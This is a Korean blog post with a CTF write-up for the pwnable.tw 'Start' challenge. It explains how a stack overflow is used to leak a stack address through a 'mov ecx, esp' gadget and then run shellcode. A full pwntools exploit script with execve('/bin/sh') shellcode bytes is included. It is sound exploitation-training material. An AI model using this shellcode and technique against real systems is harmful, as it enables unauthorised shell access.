ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Start write up
    System hacking training/pwnable.tw 2019. 12. 8. 20:47
    [풀이 요약]
    - 메모리 보호기법 적용 X / syscall 을 이용한 read(), write() 호출
    - read() 함수를 이용하여 0x3c를 입력 받는데, 에필로그를 보면 add esp, 0x14; ret;로 return address를 변조할 수 있다는 것을 알 수 있음
     
    Step 1. Stack Address Leak
    1. 쉘코드를 이용한 공격을 진행하는데, return address 바로 다음 값이 스택을 가리켜서 return address를 해당 코드 주소로 변조
    2. sys_write() 함수 호출 전 mov ecx, esp를 통해 해당 시점 esp를 출력 -> 이게 스택의 주소를 가지고 있어서 아주 nice하게 스택의 주소를 leak할 수 있음
     
    Step 2. Shellcode Execute
    leak한 주소를 기반으로 쉘코드 위치 계산하여 exploit!
     
    pwnable.tw 첫번째 문제 Start!
     
    먼저 checksec을 이용하여 메모리 보호기법을 확인했다.
     
     
    아무런 보호기법이 걸려있지 않다.
     
    IDA로 디컴파일을 해보면 다음과 같이 바이너리에 대한 윤곽을 확인할 수 있는데,
    pwnable.tw의 첫번째 문제답게 다소 간단한 바이너리인것을 알 수 있다.
     
    int 80h을 이용하여 시스템콜을 이용하여 eax에 들어가있는 시스템콜 넘버에 맞는 함수를 호출하게 되는데
    int 80h 전에 mov al, 4로 보아 sys_write() 함수를 호출하는 것을 알 수 있다. (IDA는 이쁘게 sys_write 주석을 달아준다^^)
     
    그리고 mov al, 3으로 sys_read() 함수를 호출하며 사용자에게 입력을 받고 끝나는 바이너리다.
     
    해당 바이너리의 취약점은 sys_read() 함수에서 0x3c(=60)만큼 값을 넣을 수 있는데,
    return address는 esp + 0x14 + 0x4만큼 위치한 곳에 존재하기 때문에 발생한다.
     
    이를 통해 return address를 변조할 수 있다.
    따라서 생각해볼 수 있는 공격시나리오는 쉘코드를 이용한 방법이다.
     
    하지만 쉘코드가 저장되는 곳은 스택이고, 해당 공격이 성공하기 위해서 return address의 주소를 쉘코드의 주소로 변조하여야하기 때문에
    쉘코드가 들어갈 위치의 주소를 정확히 알아야한다.
     
    따라서 stack주소 leak이 필요한데,
     
     
    return address를 이 주소로 변조하여 가능하게 했다.
    <_start+39>의 위치에서 mov ecx, esp를 통해 esp를 ecx에 복사하여 결과적으로 해당 주소의 값을 sys_write() 함수를 통해 출력해주는데,
     
    return address를 해당 주소로 변조하게 될 경우
    ret 명령에 의해 <_start+39>로 분기하게 되고, ret로 인해 return address 다음의 값을 가리키는 esp를 ecx에 복사후 sys_write() 함수로 출력을 해준다.
     
    leak이 가능한 이유는 return address 바로 다음에 위치한 값이 스택의 주소를 갖고 있기 때문이다.

     

    따라서 이 상태에서 return address를 mov ecx, esp로 변조하게되면 return address 바로 다음의 스택값을 출력하게 되는데
    이 값이 스택의 주소이기 때문에 이 값을 recv받고 해당 주소를 기준으로 쉘코드를 가리키는 주소를 계산하면 된다.
     
    [Exploit Code]
    from pwn import *
     
     
    p = process('./start')
     
     
    mov_ecx_esp = 0x08048087
     
     
    shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
     
     
    #payload
    buf = ''
    buf += 'A' * 0x14
    buf += p32(mov_ecx_esp)
     
     
    p.recvuntil('the CTF:')
    p.send(buf)
     
     
    stack = u32(p.recv(4))
    print "DEBUG:",hex(stack)
     
     
    buf = ''
    buf += '\x90' * 0x14
    buf += p32(stack+0x14)
    buf += shellcode
     
     
    p.send(buf)
     
     
    p.interactive()
     
     
     
    반응형

    'System hacking training > pwnable.tw' 카테고리의 다른 글

    orw write up  (0) 2019.12.10
Designed by Tistory.